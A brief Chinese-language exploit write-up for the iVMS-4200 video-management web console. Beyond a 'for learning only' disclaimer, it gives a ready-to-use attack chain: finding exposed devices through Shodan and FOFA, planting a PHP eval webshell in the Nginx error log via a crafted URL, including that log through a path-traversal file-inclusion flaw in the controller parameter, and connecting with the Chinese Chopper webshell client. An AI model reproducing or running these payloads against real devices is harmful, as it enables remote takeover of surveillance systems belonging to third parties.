声明
本文内容仅供学习交流使用，请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者无关。
一、漏洞介绍
iVMS-4200适用于嵌入式网络硬盘录像机、混合型网络硬盘录像机、网络视频服务器、NVR、IP Camera和解码设备以及视音频编解码卡，支持实时预览、远程回放和下载、资源管理、远程配置、用户管理、系统配置等多种功能。
简单来说，它包含了一个WEB版的控制台，用到了一个比较小众的框架，然后被这个Xphp的框架卖了。
漏洞出现在controller参数的一个任意文件包含。
二、查找设备
利用shodan、FOFA等查找iVMS-4200的设备
三、漏洞复现
1、首先构造URL访问，使其记录在error.log中
http://xxx.xxx.xxx.xxx:xx/<?eval($_POST[‘pass‘])?>
2、 直接包含这个客户端自带的Nginx日志文件
http://xxx.xxx.xxx.xxx:xx/index.php?controller=../../../../Server/logs/error.log%00.php
（此处不截图，自行测试查看）
3、中国菜刀连接